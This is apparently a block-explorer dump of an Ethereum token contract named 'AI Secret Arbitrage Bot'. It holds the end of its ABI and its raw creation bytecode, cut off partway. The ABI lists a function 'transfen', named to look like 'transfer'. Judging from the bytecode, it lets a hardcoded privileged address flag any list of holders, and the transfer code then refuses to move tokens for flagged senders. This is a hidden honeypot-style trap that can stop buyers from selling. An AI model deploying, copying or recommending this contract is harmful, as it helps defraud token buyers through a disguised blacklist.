payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"tracker","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"},{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"transfen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280601781526020017f4149205365637265742041726269747261676520426f74000000000000000000815250600190816200004a919062000f9e565b506040518060400160405280600581526020017f41494152420000000000000000000000000000000000000000000000000000008152506002908162000091919062000f9e565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600c556000600d556001600e556000600f5560016010556001601155600060125560016013556002601455600060155560006016556000601755600360009054906101000a900460ff16600a6200013d919062001215565b6305f5e1006200014e919062001266565b601855600360009054906101000a900460ff16600a6200016f919062001215565b621e84806200017f919062001266565b601955600360009054906101000a900460ff16600a620001a0919062001215565b621e8480620001b0919062001266565b601a55600360009054906101000a900460ff16600a620001d1919062001215565b6207a120620001e1919062001266565b601b556001601d60156101000a81548160ff0219169083151502179055506000601d60166101000a81548160ff0219169083151502179055506001601d60176101000a81548160ff0219169083151502179055503480156200024257600080fd5b5060006200025562000c9060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000358573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037e91906200131b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040c91906200131b565b6040518363ffffffff1660e01b81526004016200042b9291906200135e565b6020604051808303816000875af11580156200044b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200047191906200131b565b601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050601854600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005d462000c9860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000819050620006bb600e54620006a7600d54600c5462000cc160201b620012951790919060201c565b62000cc160201b620012951790919060201c565b601681905550620006fa601154620006e6601054600f5462000cc160201b620012951790919060201c565b62000cc160201b620012951790919060201c565b601781905550620007396014546200072560135460125462000cc160201b620012951790919060201c565b62000cc160201b620012951790919060201c565b60158190555060008190506001600860006200075a62000c9860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008190506001600a60006200091262000c9860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008190506001600b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073bf5700c0a4fa1c10a3d34d231116d43f37e49f8a600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731215d4398d6129950f9374cc5c432891cc810ef9600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506018546005600062000bcd62000c9060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c1b62000c9060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60185460405162000c7c91906200139c565b60405180910390a350505050505062001477565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cd29190620013b9565b90508381101562000d1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d119062001455565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000da657607f821691505b60208210810362000dbc5762000dbb62000d5e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e267fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000de7565b62000e32868362000de7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000e7f62000e7962000e738462000e4a565b62000e54565b62000e4a565b9050919050565b6000819050919050565b62000e9b8362000e5e565b62000eb362000eaa8262000e86565b84845462000df4565b825550505050565b600090565b62000eca62000ebb565b62000ed781848462000e90565b505050565b5b8181101562000eff5762000ef360008262000ec0565b60018101905062000edd565b5050565b601f82111562000f4e5762000f188162000dc2565b62000f238462000dd7565b8101602085101562000f33578190505b62000f4b62000f428562000dd7565b83018262000edc565b50505b505050565b600082821c905092915050565b600062000f736000198460080262000f53565b1980831691505092915050565b600062000f8e838362000f60565b9150826002028217905092915050565b62000fa98262000d24565b67ffffffffffffffff81111562000fc55762000fc462000d2f565b5b62000fd1825462000d8d565b62000fde82828562000f03565b600060209050601f83116001811462001016576000841562001001578287015190505b6200100d858262000f80565b8655506200107d565b601f198416620010268662000dc2565b60005b82811015620010505784890151825560018201915060208501945060208101905062001029565b868310156200107057848901516200106c601f89168262000f60565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200111357808604811115620010eb57620010ea62001085565b5b6001851615620010fb5780820291505b80810290506200110b85620010b4565b9450620010cb565b94509492505050565b6000826200112e576001905062001201565b816200113e576000905062001201565b8160018114620011575760028114620011625762001198565b600191505062001201565b60ff84111562001177576200117662001085565b5b8360020a91508482111562001191576200119062001085565b5b5062001201565b5060208310610133831016604e8410600b8410161715620011d25782820a905083811115620011cc57620011cb62001085565b5b62001201565b620011e18484846001620010c1565b92509050818404811115620011fb57620011fa62001085565b5b81810290505b9392505050565b600060ff82169050919050565b6000620012228262000e4a565b91506200122f8362001208565b92506200125e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200111c565b905092915050565b6000620012738262000e4a565b9150620012808362000e4a565b9250828202620012908162000e4a565b91508282048414831517620012aa57620012a962001085565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620012e382620012b6565b9050919050565b620012f581620012d6565b81146200130157600080fd5b50565b6000815190506200131581620012ea565b92915050565b600060208284031215620013345762001333620012b1565b5b6000620013448482850162001304565b91505092915050565b6200135881620012d6565b82525050565b60006040820190506200137560008301856200134d565b6200138460208301846200134d565b9392505050565b620013968162000e4a565b82525050565b6000602082019050620013b360008301846200138b565b92915050565b6000620013c68262000e4a565b9150620013d38362000e4a565b9250828201905080821115620013ee57620013ed62001085565b5b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006200143d601b83620013f4565b91506200144a8262001405565b602082019050919050565b6000602082019050818103600083015262001470816200142e565b9050919050565b6080516137d36200149a60003960008181610aa30152610acf01526137d36000f3fe6080604052600436106102295760003560e01c80638b42507f11610123578063c8607952116100ab578063dc44b6a01161006f578063dc44b6a014610802578063dd62ed3e1461082d578063e9c7a7791461086a578063f2fde38b14610893578063f872858a146108bc57610230565b8063c860795214610719578063c867d60b14610744578063cab0347114610781578063cc1776d3146107ac578063da00097d146107d757610230565b8063a83f53a7116100f2578063a83f53a714610630578063a9059cbb1461065b578063c469b6dd14610698578063c5d24189146106c3578063c816841b146106ee57610230565b80638b42507f146105725780638da5cb5b146105af57806395d89b41146105da578063a08e671f1461060557610230565b80634f7041a5116101b1578063715018a611610175578063715018a6146104c557806371b60f2f146104dc578063751039fc1461050557806375f0a8741461051c57806388790a681461054757610230565b80634f7041a5146103dc57806357a5802f14610407578063599270441461043257806361a23c691461045d57806370a082311461048857610230565b806323b872dd116101f857806323b872dd146102f357806327c8f835146103305780632b112e491461035b578063313ce567146103865780634a74bb02146103b157610230565b806306fdde0314610235578063095ea7b3146102605780631694505e1461029d57806318160ddd146102c857610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a6108e7565b6040516102579190612859565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190612919565b610979565b6040516102949190612974565b60405180910390f35b3480156102a957600080fd5b506102b2610997565b6040516102bf91906129ee565b60405180910390f35b3480156102d457600080fd5b506102dd6109bd565b6040516102ea9190612a18565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612a33565b6109c7565b6040516103279190612974565b60405180910390f35b34801561033c57600080fd5b50610345610aa1565b6040516103529190612a95565b60405180910390f35b34801561036757600080fd5b50610370610ac5565b60405161037d9190612a18565b60405180910390f35b34801561039257600080fd5b5061039b610b09565b6040516103a89190612acc565b60405180910390f35b3480156103bd57600080fd5b506103c6610b20565b6040516103d39190612974565b60405180910390f35b3480156103e857600080fd5b506103f1610b33565b6040516103fe9190612a18565b60405180910390f35b34801561041357600080fd5b5061041c610b39565b6040516104299190612a18565b60405180910390f35b34801561043e57600080fd5b50610447610b3f565b6040516104549190612b08565b60405180910390f35b34801561046957600080fd5b50610472610b65565b60405161047f9190612a18565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190612b23565b610b6b565b6040516104bc9190612a18565b60405180910390f35b3480156104d157600080fd5b506104da610bb4565b005b3480156104e857600080fd5b5061050360048036038101906104fe9190612b7c565b610d07565b005b34801561051157600080fd5b5061051a610d72565b005b34801561052857600080fd5b50610531610ddc565b60405161053e9190612b08565b60405180910390f35b34801561055357600080fd5b5061055c610e02565b6040516105699190612a18565b60405180910390f35b34801561057e57600080fd5b5061059960048036038101906105949190612b23565b610e08565b6040516105a69190612974565b60405180910390f35b3480156105bb57600080fd5b506105c4610e28565b6040516105d19190612a95565b60405180910390f35b3480156105e657600080fd5b506105ef610e51565b6040516105fc9190612859565b60405180910390f35b34801561061157600080fd5b5061061a610ee3565b6040516106279190612a18565b60405180910390f35b34801561063c57600080fd5b50610645610ee9565b6040516106529190612a18565b60405180910390f35b34801561066757600080fd5b50610682600480360381019061067d9190612919565b610eef565b60405161068f9190612974565b60405180910390f35b3480156106a457600080fd5b506106ad610f0e565b6040516106ba9190612a18565b60405180910390f35b3480156106cf57600080fd5b506106d8610f14565b6040516106e59190612a18565b60405180910390f35b3480156106fa57600080fd5b50610703610f1a565b6040516107109190612a95565b60405180910390f35b34801561072557600080fd5b5061072e610f40565b60405161073b9190612a18565b60405180910390f35b34801561075057600080fd5b5061076b60048036038101906107669190612b23565b610f46565b6040516107789190612974565b60405180910390f35b34801561078d57600080fd5b50610796610f66565b6040516107a39190612a18565b60405180910390f35b3480156107b857600080fd5b506107c1610f6c565b6040516107ce9190612a18565b60405180910390f35b3480156107e357600080fd5b506107ec610f72565b6040516107f99190612974565b60405180910390f35b34801561080e57600080fd5b50610817610f85565b6040516108249190612a18565b60405180910390f35b34801561083957600080fd5b50610854600480360381019061084f9190612ba9565b610f8b565b6040516108619190612a18565b60405180910390f35b34801561087657600080fd5b50610891600480360381019061088c9190612c4e565b611012565b005b34801561089f57600080fd5b506108ba60048036038101906108b59190612b23565b6110c1565b005b3480156108c857600080fd5b506108d1611282565b6040516108de9190612974565b60405180910390f35b6060600180546108f690612cdd565b80601f016020809104026020016040519081016040528092919081815260200182805461092290612cdd565b801561096f5780601f106109445761010080835404028352916020019161096f565b820191906000526020600020905b81548152906001019060200180831161095257829003601f168201915b5050505050905090565b600061098d6109866112f3565b84846112fb565b6001905092915050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601854905090565b60006109d48484846114c4565b50610a96846109e16112f3565b610a918560405180606001604052806028815260200161377660289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a476112f3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb9092919063ffffffff16565b6112fb565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610b04610af37f0000000000000000000000000000000000000000000000000000000000000000610b6b565b601854611b2f90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b601d60159054906101000a900460ff1681565b60165481565b60125481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbc6112f3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4090612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b8015610d6f57610d156112f3565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6e57600080fd5b5b50565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dc857600080fd5b601854601981905550601854601a81905550565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e6090612cdd565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8c90612cdd565b8015610ed95780601f10610eae57610100808354040283529160200191610ed9565b820191906000526020600020905b815481529060010190602001808311610ebc57829003601f168201915b5050505050905090565b60155481565b60145481565b6000610f03610efc6112f3565b84846114c4565b506001905092915050565b600e5481565b600d5481565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60086020528060005260406000206000915054906101000a900460ff1681565b60115481565b60175481565b601d60169054906101000a900460ff1681565b600c5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101c6001610d07565b60005b828290508110156110bb57836009600085858581811061104257611041612d7a565b5b90506020020160208101906110579190612b23565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110b390612dd8565b91505061101f565b50505050565b6110c96112f3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d90612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90612e92565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d60179054906101000a900460ff1681565b60008082846112a49190612eb2565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090612f32565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361136a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136190612fc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090613056565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b79190612a18565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b906130e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061317a565b60405180910390fd5b600082116115e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dd9061320c565b60405180910390fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166a9061329e565b60405180910390fd5b601d60149054906101000a900460ff161561169a57611693848484611b79565b9050611ac4565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561173e5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561178957601954821115611788576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177f90613330565b60405180910390fd5b5b600061179430610b6b565b90506000601b5482101590508080156117ba5750601d60149054906101000a900460ff16155b80156118105750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118285750601d60159054906101000a900460ff165b1561185257601d60169054906101000a900460ff161561184857601b5491505b61185182611d4c565b5b6118db846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061192b878787611f3d565b9050601d60179054906101000a900460ff1680156119935750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119c257601a546119b6826119a889610b6b565b61129590919063ffffffff16565b11156119c157600080fd5b5b611a1481600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ab49190612a18565b60405180910390a3600193505050505b9392505050565b6000838311158290611b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0a9190612859565b60405180910390fd5b5060008385611b229190613350565b9050809150509392505050565b6000611b7183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611acb565b905092915050565b6000611c04826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9982600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d399190612a18565b60405180910390a3600190509392505050565b6001601d60146101000a81548160ff0219169083151502179055506000611da56002611d97601554611d89601254876122a090919063ffffffff16565b61231a90919063ffffffff16565b61231a90919063ffffffff16565b90506000611dbc8284611b2f90919063ffffffff16565b9050611dc781612364565b60004790506000611df8611de7600260125461231a90919063ffffffff16565b601554611b2f90919063ffffffff16565b90506000611e366002611e2884611e1a601254886122a090919063ffffffff16565b61231a90919063ffffffff16565b61231a90919063ffffffff16565b90506000611e6183611e53601454876122a090919063ffffffff16565b61231a90919063ffffffff16565b90506000611e8a82611e7c8588611b2f90919063ffffffff16565b611b2f90919063ffffffff16565b90506000811115611ec257611ec1600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826125e0565b5b6000821115611ef857611ef7600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836125e0565b5b600083118015611f085750600087115b15611f1857611f17878461262b565b5b505050505050506000601d60146101000a81548160ff02191690831515021790555050565b600080829050600080611f5983866122a090919063ffffffff16565b9050600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fcb57611fb686612710565b15611fc657809350505050612299565b61217c565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061206c5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561207c57829350505050612299565b600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120fd576120f660646120e8601654886122a090919063ffffffff16565b61231a90919063ffffffff16565b915061217b565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561217a576121776064612169601754886122a090919063ffffffff16565b61231a90919063ffffffff16565b91505b5b5b6000821115612280576121d782600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122779190612a18565b60405180910390a35b6122938286611b2f90919063ffffffff16565b93505050505b9392505050565b60008083036122b25760009050612314565b600082846122c09190613384565b90508284826122cf91906133f5565b1461230f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230690613498565b60405180910390fd5b809150505b92915050565b600061235c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612766565b905092915050565b6000600267ffffffffffffffff811115612381576123806134b8565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c6612d7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561246e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061249291906134fc565b816001815181106124a6576124a5612d7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250d30601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fb565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612571959493929190613622565b600060405180830381600087803b15801561258b57600080fd5b505af115801561259f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516125d492919061367c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612626573d6000803e3d6000fd5b505050565b61265830601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fb565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806126a4610e28565b426040518863ffffffff1660e01b81526004016126c6969594939291906136ac565b60606040518083038185885af11580156126e4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906127099190613722565b5050505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080831182906127ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a49190612859565b60405180910390fd5b50600083856127bc91906133f5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128035780820151818401526020810190506127e8565b60008484015250505050565b6000601f19601f8301169050919050565b600061282b826127c9565b61283581856127d4565b93506128458185602086016127e5565b61284e8161280f565b840191505092915050565b600060208201905081810360008301526128738184612820565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128b082612885565b9050919050565b6128c0816128a5565b81146128cb57600080fd5b50565b6000813590506128dd816128b7565b92915050565b6000819050919050565b6128f6816128e3565b811461290157600080fd5b50565b600081359050612913816128ed565b92915050565b600080604083850312156129305761292f61287b565b5b600061293e858286016128ce565